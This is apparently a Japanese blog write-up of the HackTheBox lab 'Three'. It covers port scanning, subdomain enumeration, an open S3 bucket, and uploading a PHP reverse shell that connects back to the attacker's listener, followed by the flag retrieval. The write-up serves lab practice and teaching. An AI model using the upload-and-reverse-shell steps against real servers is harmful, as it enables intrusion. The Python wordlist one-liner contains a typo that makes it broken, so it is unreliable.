0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

HackTheBox Writeup: Three

Last updated at Posted at 2022-09-18

概要

HackTheBox:Threeのflagを入手する手順を記す。

Port Scan

$ nmap -A -sV three.htb --min-rate 5000
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-18 03:06 EDT
Nmap scan report for three.htb (10.129.78.62)
Host is up (0.25s latency).
Not shown: 866 closed tcp ports (conn-refused), 132 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)
|   256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)
|_  256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Toppers
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.50 seconds

SSHとHTTPを提供しているようだ。

HTTP

http://three.htb にアクセスする。
Task一覧を見る限り、他のドメインを探す必要があるようだ。

ページのソースコードを見ていくと

thetoppers.htb

を見つけることが出来る。
さらにTaskを進んでいくと、このドメインのサブドメインを探すことを提示してくる。

とりあえず、このドメインを/etc/hostsに追加しておく。

サブドメイン探索

Taskとしては

**.thetoppers.htb

という形のサブドメインを探すことを想定している。

gobusterでサブドメインを探索しようと思うが、
その前に辞書ファイルを作成する必要がある。

以下のコマンドで**に当てはまる文字列の辞書ファイルを作成する。

python3 -c 'import string, itertools;chars=string.digits+string.string.ascii_lowercase;words=["".join(word)+"\n" for word in itertools.product(chars,chars)];file=open("list.txt","w");file.writelines(words);file.close();'

辞書ファイルが手に入ったのでgobusterでのスキャンを行う。

$ gobuster vhost -u http://thetoppers.htb -w list.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://thetoppers.htb
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     list.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/09/18 03:29:46 Starting gobuster in VHOST enumeration mode
===============================================================
Found: s3.thetoppers.htb (Status: 404) [Size: 21]
                                                 
===============================================================
2022/09/18 03:30:22 Finished
===============================================================

S3 Bucketが存在するようだ。
s3.thetoppers.htbも/etc/hostsに追加しておく。

S3 Bucket

S3にawscliで接続し探索を試みる。

$ aws --endpoint=http://s3.thetoppers.htb s3 ls
2022-09-18 03:04:08 thetoppers.htb
$ aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
                           PRE images/
2022-09-18 03:04:08          0 .htaccess
2022-09-18 03:04:08      11952 index.php

試しにファイルをアップロードしてみる。

$ echo test > test.txt
$ aws --endpoint=http://s3.thetoppers.htb s3 cp test.txt s3://thetoppers.htb/test.txt 
upload: ./test.txt to s3://thetoppers.htb/test.txt
$ wget -O - http://thetoppers.htb/test.txt -q
test

これらのことから任意のphpファイルをアップロードし、呼び出すことが出来るということがわかる。

Reverse Shell

まずリバースシェルを用意する。
ipとportは自分が使うものに編集する必要がある。

$ cp /usr/share/webshells/php/php-reverse-shell.php .
$ sed -i -e 's/127.0.0.1/10.10.14.166/g' -e 's/1234/4444/g' php-reverse-shell.php

s3にアップロードする。

$ aws --endpoint=http://s3.thetoppers.htb s3 cp php-reverse-shell.php s3://thetoppers.htb/shell.php
upload: ./php-reverse-shell.php to s3://thetoppers.htb/shell.php

次にnc(netcat)コマンドでリバース先を用意する。

$ nc -lvnp 4444
listening on [any] 4444 ...

最後に http://thetoppers.htb/shell.php にアクセスしてシェルを起動する。

$ nc -lvnp 4444  
listening on [any] 4444 ...
connect to [10.10.14.166] from (UNKNOWN) [10.129.78.62] 36108
Linux three 4.15.0-189-generic #200-Ubuntu SMP Wed Jun 22 19:53:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 08:00:41 up 59 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

Flag

シェルを奪取できたのでflagを探す。

$ cd /
$ find . 2>/dev/null | grep flag.txt
./var/www/flag.txt
$ cat /var/www/flag.txt

無事flagを手に入れることが出来た。

以上

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?